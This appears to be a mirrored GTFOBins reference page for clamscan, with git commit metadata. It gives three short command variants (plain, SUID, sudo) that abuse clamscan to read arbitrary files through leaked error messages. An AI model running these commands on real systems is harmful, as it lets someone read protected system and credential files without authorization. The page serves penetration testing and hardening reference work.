1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/clamscan.md
pad0van 5b93637ab4
Add clamscan
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2023-09-02 09:51:45 +02:00

862 B

description functions
Each line of the file is interpreted as a path and the content is leaked via error messages, thus this might not be suitable to read binary files. The output can optionally be cleaned using `sed`.
file-read suid sudo
code
LFILE=file_to_read TF=$(mktemp -d) touch $TF/empty.yara clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p'
code
LFILE=file_to_read TF=$(mktemp -d) touch $TF/empty.yara ./clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p'
code
LFILE=file_to_read TF=$(mktemp -d) touch $TF/empty.yara sudo clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p'